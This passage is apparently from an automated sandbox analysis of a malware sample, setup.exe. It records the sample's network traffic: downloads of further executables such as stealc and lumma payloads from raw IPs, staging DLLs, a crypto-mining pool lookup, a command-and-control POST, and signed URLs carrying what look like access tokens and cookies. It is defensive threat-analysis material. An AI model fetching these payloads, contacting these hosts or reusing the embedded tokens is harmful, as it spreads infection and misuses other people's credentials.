Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 80.78.242.100
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 80.78.242.100
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 80.78.242.100
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 80.78.242.100
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.77.80
Source: unknown TCP traffic detected without corresponding DNS query: 77.105.133.27
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_0067DAB0 recv,WSAGetLastError,__aulldiv,__aulldiv,__aulldiv,__aulldiv,__aulldiv,send,recv,recv,recv,recv,Sleep,Sleep, 7_2_0067DAB0
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic HTTP traffic detected: GET /ssl/crt.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: lop.foxesjoy.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sdgdf/fbghhj/downloads/streamer.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: bitbucket.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /385137/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: monoblocked.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /bc2514d8-2277-4dd3-a4e2-b5b0ed90570d/downloads/67e8095f-ddaa-4765-8f3a-5f79b5cf66c0/streamer.exe?response-content-disposition=attachment%3B%20filename%3D%22streamer.exe%22&AWSAccessKeyId=ASIA6KOSE3BNHVJXWTXU&Signature=6x0j3jCqJIu9ecs3s6GtlhgLnsU%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEK7%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQD%2F2aNgvwR%2BzDTfk81ofa8RoMfgWY6HIHaPq6AVG5xEYAIhAJqDf3iSPie3cXsxWWnwnW8qwgK1Tac0vhv18BHJA7wsKqcCCGcQABoMOTg0NTI1MTAxMTQ2Igy8ya024r6DMXH4P4YqhAKQSomtAk%2FsqiXI2%2F3voOa7hrDvFCv9VrBtu1RIEm99MXJW7beO%2B2HqROhFQwyiH1W0FURY0nM66e6QQ1eshMPl6wuVF8aiDYVv80BaYrRUqqJbDBjHH6k2n7jlWpH4Tw1PMrRevf3ArvGyd9YcCfmAztez9uMctNQcfdK%2B8C3P%2FvVm04c%2BdJIDwxu6FMQq0TfQQoxa0hMkgxUcRdDJDFaLcnb6%2FG1Ej0KO3weudMoHZi%2FdazhGjoi%2BHAWbwlw8Vukp%2By8rtl0d%2B9YEZcfdwG6I0BtVaPDwyCTzPkXRYOFTrSdaG3zEncRQV%2FIvZhapXMg7J0ybYPS4gtKqOeLxnOmxMoOBwDDezIy0BjqcAU3U3hMrRgYyxiW6p641c%2FfbR5vglkKAfISIMwmD%2BNVhIbYo1lGxIuF0WNeBoNFVKIQ2SulUFhK2Nlg%2Ftsqf4kdPsqUD5oMW%2FuS6%2BrpQIaXGoZFElhRLRAMZFHDYRHsXbuRsAhBsBkYAT%2BIEkb3xhUStn5Xxdeh5Qm7xW4eE%2B2zdY%2B0yA6TA5cBngIMSLG3vA9TKHy64VDpvVyKfOg%3D%3D&Expires=1719872870 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /attachments/1255737669737254954/1257455463088394404/setup.exe?ex=66847828&is=668326a8&hm=9a0a6baa5ff045d491afd87efad3dd033618cc8c5ce04018ccc10ef67b97fd67& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-AliveCookie: __cf_bm=ex.7TgCY468wc5yu3YRkEsGRG9qmHn86dcAYyaJ385w-1719871508-1.0.1.1-5hdHtN2CIlAZ3ndgxjU1QFbaLT0pT5n.uDcbnhaYWTdTD8z4UsNVmuHyiV0JqEgrvJtmikuVD.LZq.kf7BpweA; _cfuvid=tIsBmNXiVts2Ahh4K2Kvba0M8lkel4q.Jz3q1r9HKzs-1719871508397-0.0.1.1-604800000
Source: global traffic HTTP traffic detected: GET /385137/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: a.884736279.xyzConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /doc851967711_678869252?hash=7enX4Yf9Eh9a580ka8ZSEsnG3OhzAssallq1mEISP3P&dl=j8nlfPwylDCi59wUX6tJ9uBa1hYeg1sJKQmMIBqlpjL&api=1&no_preview=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /doc461844031_680356434?hash=KmXLjZzwyKBjmzxff0Jo9U1YwRL71yZftAbVL5kdyKD&dl=3v6LT2A7IS0PX4HrE4vRkDm0d4mbocnTvyEbLzKxGUP&api=1&no_preview=1#def_meta HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /c237031/u851967711/docs/d44/57796f4397b6/BotClient.bmp?extra=Uo921g-adSvvTWhdB6yDb5HdFI5_X3VJlRVmHM-Bh6mJlvI7hkGi94eW7KfU-ssLh3GfPV8Ees6kZM0RD1upQfkxRtTtcM3LgknqFomcBUvMb567aPkC4b-b3Csz0akrGpBI454GBQIw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /doc851967711_678965991?hash=15v5bIC0BdxsDWrpl71N2Lf9ztIhZN508DquMzIAGCz&dl=yDzL4lhSc6Qh08VS3lx8KlKwYrkSiYGlwvhnSbB1cMD&api=1&no_preview=1#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /c235031/u851967711/docs/d58/101acf609709/crypted.bmp?extra=Ux3hmN1iPre6dOlOSIWGtqFvEkIdvKeIAUWi6lAsDtS-lf2EKyAeU1NTXtXwHQmiuKqNE3-DjYe0f5mcu6SGTNHoKn8lJaXQr06BHIPY-Yp_iz6-eS16TocDohevBfPa-7a9dirBWiks HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-22.userapi.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /doc851967711_678909859?hash=lNew8DPFlC3FkyFwDvSRD3AUel2qUbt8XwQ47izbny0&dl=VoWAeLPwa3VHUZ6RGMrmgXoJxs6sK0ufCNL8HdLsSa4&api=1&no_preview=1#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cacheCookie: remixlang=3; remixstlid=9092944805461463727_DtkQ3CUIobNM2Gxry3e19bgTzz0nGnqrsykLnhHF59z; remixlgck=374e8ec07457a99dc7; remixstid=242356419_2xqWAu8IaSk4k7yzGaEqYJBhxAcSZqxhFf8GwzSXfco; remixir=1
Source: global traffic HTTP traffic detected: GET /c235031/u851967711/docs/d19/e642d2d3ea8a/File.bmp?extra=codZE4oOkF_mb0aHMW2_KJkLotDgGHzpcd-JeGF88YLnbk2Qm4WcZoXVvzJ1HuH2HaOhqgSp6_uV0Z6TCfxUYwreX5Rq2H_XmfQYz82S4_LBrsYcRulTXC2HKGtLY-ovV1tbmUk3ivmp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-21.userapi.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic HTTP traffic detected: GET /g067n HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.99.177
Source: global traffic HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.105.133.27Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.105.133.27Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /riana/super.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.91.77.80Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 80.78.242.100Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic HTTP traffic detected: GET /lumma2806.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0Host: 77.105.132.27Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?BAxskCrAzBkAQLhyBAyQiyrSwfaJVtVcO HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?BaGHTJrEOqpSoOUUbPmVVgUlkCFxoVbnT HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?PFusrYpNtPDdGjvKoKGcbouLSvYzMzgzu HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?lkNOHJiXnxKRAffVlKrZwoIEmkviEhCxR HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?ZOmFPgPUTVZNbWpVqvSvPLQtsthTrEhbx HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?FJSFGEosnJwNZSTgJVMlBADdAGOvxPznz HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?lfKppfDaSKtbiZoZrqLvfigDaXuNMaIUn HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?BsbCNQNrlQruMiRbNuFhJgcZknRTSMCKj HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?nWWigaXNQYYJICpsdMZSxscisfoqitXJL HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.rapidfilestorage.com
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: helsinki-dtc.com
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: skrptfiles.tracemonitors.com
Source: global traffic HTTP traffic detected: GET /clrls/cl_rls.json HTTP/1.1Host: www.rapidfilestorage.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?lVCwnpMUrdtQuoonAEIPdNPTEKYCDRfxr HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?uKnuZolhihzrwcGciuiXPYJRFqygVFjtF HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?UpPMoHiZGixvnmLTDXgCACmDdHoeBzWlB HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.rapidfilestorage.com
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: helsinki-dtc.com
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: skrptfiles.tracemonitors.com
Source: global traffic HTTP traffic detected: GET /clrls/cl_rls.json HTTP/1.1Host: www.rapidfilestorage.comConnection: Keep-AliveCache-Control: no-cache
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2264754097.0000021663845000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://*.vk.com https://vk.ru https://*.vk.ru https://static.vk.me https://*.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://*.yandex.ru https://*.google-analytics.com https://*.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://*.google.com https://google.com https://*.vkpartner.ru https://*.moatads.com https://*.adlooxtracking.ru https://*.serving-sys.ru https://*.weborama-tech.ru https://*.gstatic.com https://*.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://*.vk-cdn.net https://*.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru https://*.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.facebook.com (Facebook)
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2264754097.0000021663845000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://*.vk.com https://vk.ru https://*.vk.ru https://static.vk.me https://*.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://*.yandex.ru https://*.google-analytics.com https://*.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://*.google.com https://google.com https://*.vkpartner.ru https://*.moatads.com https://*.adlooxtracking.ru https://*.serving-sys.ru https://*.weborama-tech.ru https://*.gstatic.com https://*.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://*.vk-cdn.net https://*.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru https://*.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.twitter.com (Twitter)
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2264754097.0000021663845000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://*.vk.com https://vk.ru https://*.vk.ru https://static.vk.me https://*.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://*.yandex.ru https://*.google-analytics.com https://*.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://*.google.com https://google.com https://*.vkpartner.ru https://*.moatads.com https://*.adlooxtracking.ru https://*.serving-sys.ru https://*.weborama-tech.ru https://*.gstatic.com https://*.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://*.vk-cdn.net https://*.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru https://*.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: api.myip.com
Source: global traffic DNS traffic detected: DNS query: ipinfo.io
Source: global traffic DNS traffic detected: DNS query: bitbucket.org
Source: global traffic DNS traffic detected: DNS query: vk.com
Source: global traffic DNS traffic detected: DNS query: monoblocked.com
Source: global traffic DNS traffic detected: DNS query: lop.foxesjoy.com
Source: global traffic DNS traffic detected: DNS query: cdn.discordapp.com
Source: global traffic DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic DNS traffic detected: DNS query: a.884736279.xyz
Source: global traffic DNS traffic detected: DNS query: sun6-23.userapi.com
Source: global traffic DNS traffic detected: DNS query: sun6-22.userapi.com
Source: global traffic DNS traffic detected: DNS query: sun6-21.userapi.com
Source: global traffic DNS traffic detected: DNS query: iplogger.org
Source: global traffic DNS traffic detected: DNS query: t.me
Source: global traffic DNS traffic detected: DNS query: pool.hashvault.pro
Source: global traffic DNS traffic detected: DNS query: ellaboratepwsz.xyz
Source: global traffic DNS traffic detected: DNS query: potterryisiw.shop
Source: global traffic DNS traffic detected: DNS query: tea.arpdabl.org
Source: global traffic DNS traffic detected: DNS query: www.rapidfilestorage.com
Source: global traffic DNS traffic detected: DNS query: service-domain.xyz
Source: global traffic DNS traffic detected: DNS query: helsinki-dtc.com
Source: global traffic DNS traffic detected: DNS query: skrptfiles.tracemonitors.com
Source: global traffic DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic DNS traffic detected: DNS query: api2.check-data.xyz
Source: unknown HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 5.42.99.177
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2252257065.000002166383D000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2213771278.000002166383D000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2225717461.0000021663858000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2234333341.000002166383D000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2221251318.000002166383D000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2213201982.000002166383D000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2264754097.0000021663845000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2214611152.000002166383D000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2212265415.000002166383D000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 00000000.00000003.2234524182.000002166383D000.00000004.00000020.00020000.00000000.sdmp, 1719859269.0326595_setup.exe, 